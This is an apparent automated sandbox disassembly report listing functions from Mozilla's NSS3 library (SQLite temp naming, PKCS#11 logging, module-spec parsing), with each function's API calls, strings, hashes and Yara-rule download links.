String ID: directory$dns$edi$ediparty$email$ipaddr$other$registerid$rfc822$uri$x400$x400addr
API String ID: 4194642261-1102114343
Opcode ID: f82cd12988b9fc588197d50a2121263c8b90401978895507f547270d8ea6b37d
Instruction ID: 7c173f07162cdfe3a84cbe106333b07bc85c5cb1fdb0d78efdfef4b5d8a3a532
Opcode Fuzzy Hash: f82cd12988b9fc588197d50a2121263c8b90401978895507f547270d8ea6b37d
Instruction Fuzzy Hash: 10313C19A4625262EF30123F6F0AB9A21694B1234FF800C35FC54E1F45FB29D7AD96F6

Function 6C836E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6ECA30: EnterCriticalSection.KERNEL32(?,?,?,6C74F9C9,?,6C74F4DA,6C74F9C9,?,?,6C71369A), ref: 6C6ECA7A
Part of subcall function 6C6ECA30: LeaveCriticalSection.KERNEL32(?), ref: 6C6ECB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C6FBE66), ref: 6C836E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C6FBE66), ref: 6C836E98
sqlite3_snprintf.NSS3(?,00000000,6C89AAF9,?,?,?,?,?,?,6C6FBE66), ref: 6C836EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C6FBE66), ref: 6C836ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C6FBE66), ref: 6C836EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C6FBE66), ref: 6C836F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C6FBE66), ref: 6C836F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C6FBE66), ref: 6C836F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C6FBE66), ref: 6C836FA6
sqlite3_snprintf.NSS3(?,00000000,6C89AAF9,00000000,?,?,?,?,?,?,?,6C6FBE66), ref: 6C836FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C6FBE66), ref: 6C836FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6FBE66), ref: 6C836FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C6FBE66), ref: 6C837014
sqlite3_free.NSS3(00000000,?,?,?,?,6C6FBE66), ref: 6C83701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C6FBE66), ref: 6C837030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C6FBE66), ref: 6C83705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C6FBE66), ref: 6C837079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C6FBE66), ref: 6C837097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C6FBE66), ref: 6C8370A0

Strings

winGetTempname1, xrefs: 6C83708F
winGetTempname4, xrefs: 6C837046
mz_etilqs_, xrefs: 6C836F18
winGetTempname2, xrefs: 6C8370C4
winGetTempname5, xrefs: 6C837071

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: 83155392ff9d8f710c2088d46037bc38876399496ba33cba5a94a1c67c4b64a3
Instruction ID: 79e8b023551fa11266f45b4094bfff9856427a1b81038cd78a8010ea3092d480
Opcode Fuzzy Hash: 83155392ff9d8f710c2088d46037bc38876399496ba33cba5a94a1c67c4b64a3
Instruction Fuzzy Hash: 00518BA1A051206BE33056789E55BFF36669F8330CF146D38E90996BC2FB25950E82E6

Function 6C7C4FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7775C2,00000000,00000000,00000001), ref: 6C7C5009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7775C2,00000000), ref: 6C7C5049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7C505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6C7C5071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7C5089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7C50A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C7C50B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7775C2), ref: 6C7C50CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7C50D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C7C50F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7C5103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7C511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7C512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7C5145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7C5153
free.MOZGLUE(?), ref: 6C7C516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C7C517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7C5195

Strings

parameters=, xrefs: 6C7C506B
config=, xrefs: 6C7C509B
library=, xrefs: 6C7C5043
nss=, xrefs: 6C7C5083
name=, xrefs: 6C7C5057

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: b5e669791293ecc840ed56fab6bf94f5051898aeb267dd58daa2e5729dddfd77
Instruction ID: a77f36ea8eb44eb1fd5e85d7e1422a9199b86088a5a82a8c9775b659e06f86b1
Opcode Fuzzy Hash: b5e669791293ecc840ed56fab6bf94f5051898aeb267dd58daa2e5729dddfd77
Instruction Fuzzy Hash: 355194B5B011065FEB90DE24EE49AAB37A8AF05388F140430EC19E7741E726E915D7F7

Function 6C798E50 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6C798E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C798EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C798EB3

Part of subcall function 6C87D930: PL_strncpyz.NSS3(?,?,?), ref: 6C87D963

PR_LogPrint.NSS3(?,00000000), ref: 6C798EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C798EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6C798F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C798F29
PR_LogPrint.NSS3(?,00000000), ref: 6C798F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C798F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C798F80
PR_LogPrint.NSS3(?,00000000), ref: 6C798F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6C798FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6C798FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6C799047

Strings

pWrappedKey = 0x%p, xrefs: 6C798FAD
pulWrappedKeyLen = 0x%p, xrefs: 6C798FC8
hSession = 0x%x, xrefs: 6C798E8E, 6C798E9E
C_WrapKey, xrefs: 6C798E71
hWrappingKey = 0x%x, xrefs: 6C798F01, 6C798F11
hKey = 0x%x, xrefs: 6C798F5B, 6C798F6B
*pulWrappedKeyLen = 0x%x, xrefs: 6C799042
pMechanism = 0x%p, xrefs: 6C798EE0
(CK_INVALID_HANDLE), xrefs: 6C798EAC, 6C798F1F, 6C798F79

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey
API String ID: 1003633598-4293906258
Opcode ID: 4f38a62481c8b1bb13a44a4292b3ddd0e1d293bd8b14bb5937c7d1ff37c7b651
Instruction ID: 84af6f10fb91276a97b89f24e6a384518e40974d6b5c8b7f09e787bfb18afb85
Opcode Fuzzy Hash: 4f38a62481c8b1bb13a44a4292b3ddd0e1d293bd8b14bb5937c7d1ff37c7b651
Instruction Fuzzy Hash: 7E51B331602105AFDB309F18AF4CF9E77B6AB4230CF054436F50967B52E735A918CBA1

Function 6C7C4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C7B4F51,00000000), ref: 6C7C4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C7B4F51,00000000), ref: 6C7C4C5B
PR_smprintf.NSS3(6C89AAF9,?,0000002F,?,?,?,00000000,00000000,?,6C7B4F51,00000000), ref: 6C7C4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C7B4F51,00000000), ref: 6C7C4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7C4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7C4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7C4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C7B4F51,00000000), ref: 6C7C4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C7B4F51,00000000), ref: 6C7C4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C7C4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C7C4DA2
free.MOZGLUE(?), ref: 6C7C4DB9
free.MOZGLUE(00000000), ref: 6C7C4DCF

Strings

every, xrefs: 6C7C4CA1
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C7C4D9D
any, xrefs: 6C7C4C96
timeout, xrefs: 6C7C4C91
rust, xrefs: 6C7C4D22
%s,%s, xrefs: 6C7C4C4B
slotFlags, xrefs: 6C7C4D34
0x%08lx=[%s %s], xrefs: 6C7C4D80
rootFlags, xrefs: 6C7C4D47
ootT, xrefs: 6C7C4D1A

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: ed8f09f0d96bc32920fcd0614a305d8c791e6fbd1131ace1768c421e190127bb
Instruction ID: 1e4962c723c4962424fda79f3db56e01d4da4ffa43a417055d1a5975808ef378
Opcode Fuzzy Hash: ed8f09f0d96bc32920fcd0614a305d8c791e6fbd1131ace1768c421e190127bb
Instruction Fuzzy Hash: 13417BB1A001426FDB316F189E49ABE3675AF8235CF584534EC0A1BB02E735D818D7E3

Function 6C7A6CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7A6910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C7A6943
Part of subcall function 6C7A6910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C7A6957
Part of subcall function 6C7A6910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C7A6972
Part of subcall function 6C7A6910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C7A6983
Part of subcall function 6C7A6910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C7A69AA
Part of subcall function 6C7A6910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C7A69BE
Part of subcall function 6C7A6910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C7A69D2
Part of subcall function 6C7A6910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C7A69DF
Part of subcall function 6C7A6910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C7A6A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C7A6D8C
free.MOZGLUE(00000000), ref: 6C7A6DC5
free.MOZGLUE(?), ref: 6C7A6DD6
free.MOZGLUE(?), ref: 6C7A6DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C7A6E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C7A6E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C7A6E72
free.MOZGLUE(?), ref: 6C7A6EA7
free.MOZGLUE(?), ref: 6C7A6EC4
free.MOZGLUE(?), ref: 6C7A6ED5
free.MOZGLUE(00000000), ref: 6C7A6EE3
free.MOZGLUE(?), ref: 6C7A6EF4
free.MOZGLUE(?), ref: 6C7A6F08
free.MOZGLUE(00000000), ref: 6C7A6F35
free.MOZGLUE(?), ref: 6C7A6F44
free.MOZGLUE(?), ref: 6C7A6F5B
free.MOZGLUE(00000000), ref: 6C7A6F65

Part of subcall function 6C7A6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C7A781D,00000000,6C79BE2C,?,6C7A6B1D,?,?,?,?,00000000,00000000,6C7A781D), ref: 6C7A6C40
Part of subcall function 6C7A6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C7A781D,?,6C79BE2C,?), ref: 6C7A6C58
Part of subcall function 6C7A6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C7A781D), ref: 6C7A6C6F
Part of subcall function 6C7A6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C7A6C84
Part of subcall function 6C7A6C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C7A6C96
Part of subcall function 6C7A6C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C7A6CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C7A6F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C7A6FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C7A6FF4

Strings

+`{l, xrefs: 6C7A6D0D

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`{l
API String ID: 1304971872-2523902285
Opcode ID: 1ac989658fc5aa5362c437fe579d7758efeb04cb1e16c6fa8076a1e7293b99a5
Instruction ID: 1fd76be1ca829d8fb8770ea6bad4e30b07312bd7ea67b1f8894f5ee74c0fc23b
Opcode Fuzzy Hash: 1ac989658fc5aa5362c437fe579d7758efeb04cb1e16c6fa8076a1e7293b99a5
Instruction Fuzzy Hash: 32B171B1E052099FDF10CBE9DA45B9E7BB8BF09349F140234E814E7641E731EA06CBA1

Function 6C79E640 Relevance: 34.8, APIs: 23, Instructions: 266memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,6C7A8C5B,-00000001), ref: 6C79E655

Part of subcall function 6C7C0BE0: malloc.MOZGLUE(6C7B8D2D,?,00000000,?), ref: 6C7C0BF8
Part of subcall function 6C7C0BE0: TlsGetValue.KERNEL32(6C7B8D2D,?,00000000,?), ref: 6C7C0C15

PK11_GetIVLength.NSS3(-00000001,?,?,6C7A8C5B,-00000001), ref: 6C79E7DE
PORT_Alloc_Util.NSS3(00000000,?,?,?,6C7A8C5B,-00000001), ref: 6C79E7F4
PK11_GenerateRandom.NSS3(00000000,00000000,?,?,?,?,6C7A8C5B,-00000001), ref: 6C79E807
PK11_GetIVLength.NSS3(-00000001,?,?,6C7A8C5B,-00000001), ref: 6C79E81B
PORT_Alloc_Util.NSS3(00000000,?,?,?,6C7A8C5B,-00000001), ref: 6C79E82E
PK11_GenerateRandom.NSS3(00000000,00000000,?,?,?,?,6C7A8C5B,-00000001), ref: 6C79E841
free.MOZGLUE(00000000,?,?,?,?,?,?,6C7A8C5B,-00000001), ref: 6C79E852
PORT_Alloc_Util.NSS3(00000004,?,?,6C7A8C5B,-00000001), ref: 6C79E878
free.MOZGLUE(00000000,?,?,6C7A8C5B,-00000001), ref: 6C79E8AB
PORT_Alloc_Util.NSS3(0000000C,?,?,?,6C7A8C5B,-00000001), ref: 6C79E8B6
PORT_Alloc_Util.NSS3(00000008,?,?,?,?,6C7A8C5B,-00000001), ref: 6C79E8D4
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C79E9D5

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Util$Alloc_$K11_$GenerateLengthRandomfree$Item_ValueZfreemalloc
String ID:
API String ID: 1964932494-0
Opcode ID: 61cc84a16b760be9a9a11d34053f34d93ac76e2b2c6d310bff320ffbfed22481
Instruction ID: 012f3b96564cbee0fb4802d320c4eea1e96256a406ae3752aaecd247c1ac64b5
Opcode Fuzzy Hash: 61cc84a16b760be9a9a11d34053f34d93ac76e2b2c6d310bff320ffbfed22481
Instruction Fuzzy Hash: EE81D7B0A01B0A5BFB508B69BE8976F3AE8BB0135CF204036D91996F41FB35D58487D3

Function 6C7A2D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C7A2DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C7A2E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C7A2E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C7A2E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C774F1C,?,-00000001,00000000,?), ref: 6C7A2E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C774F1C,?,-00000001,00000000), ref: 6C7A2E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C7A2EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C7A2EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C7A2EF8
PR_Unlock.NSS3(?), ref: 6C7A2F62
TlsGetValue.KERNEL32 ref: 6C7A2F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C7A2F9E
PR_Unlock.NSS3(?), ref: 6C7A2FCA
TlsGetValue.KERNEL32 ref: 6C7A301A
EnterCriticalSection.KERNEL32(?), ref: 6C7A302E
PR_Unlock.NSS3(?), ref: 6C7A3066
PR_SetError.NSS3(00000000,00000000), ref: 6C7A3085
PR_Unlock.NSS3(?), ref: 6C7A30EC
TlsGetValue.KERNEL32 ref: 6C7A310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C7A3124
PR_Unlock.NSS3(?), ref: 6C7A314C

Part of subcall function 6C789180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C7B379E,?,6C789568,00000000,?,6C7B379E,?,00000001,?), ref: 6C78918D
Part of subcall function 6C789180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C7B379E,?,6C789568,00000000,?,6C7B379E,?,00000001,?), ref: 6C7891A0

Part of subcall function 6C7507A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6E204A), ref: 6C7507AD
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6E204A), ref: 6C7507CD
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6E204A), ref: 6C7507D6
Part of subcall function 6C7507A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6E204A), ref: 6C7507E4
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,6C6E204A), ref: 6C750864
Part of subcall function 6C7507A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C750880
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,?,6C6E204A), ref: 6C7508CB
Part of subcall function 6C7507A0: TlsGetValue.KERNEL32(?,?,6C6E204A), ref: 6C7508D7
Part of subcall function 6C7507A0: TlsGetValue.KERNEL32(?,?,6C6E204A), ref: 6C7508FB

PR_SetError.NSS3(00000000,00000000), ref: 6C7A316D

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 0f667793bf73b08df9ad99c7a87b9ea081f09377d756d72e168c427e57c72b43
Instruction ID: 53d3bc7e22422f64b72dd666918c925ffbcdf5169bf8663230e3837047475f82
Opcode Fuzzy Hash: 0f667793bf73b08df9ad99c7a87b9ea081f09377d756d72e168c427e57c72b43
Instruction Fuzzy Hash: DBF19FB1D006099FDF10DFA9D948A9EBBB4BF09318F144265EC04A7711E731E996CB91

Function 6C79AF20 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6C79AF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C79AF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C79AF83

Part of subcall function 6C87D930: PL_strncpyz.NSS3(?,?,?), ref: 6C87D963

PR_LogPrint.NSS3(?,00000000), ref: 6C79AF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6C79AFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6C79AFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C79AFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C79B00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C79B028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6C79B041

Strings

hSession = 0x%x, xrefs: 6C79AF5E, 6C79AF6E
ulParameterLen = 0x%p, xrefs: 6C79AFD4
ulDataLen = %d, xrefs: 6C79B00A
pParameter = 0x%p, xrefs: 6C79AFB9
pSignature = 0x%p, xrefs: 6C79B023
pulSignatureLen = 0x%p, xrefs: 6C79B03C
pData = 0x%p, xrefs: 6C79AFEF
C_SignMessage, xrefs: 6C79AF41
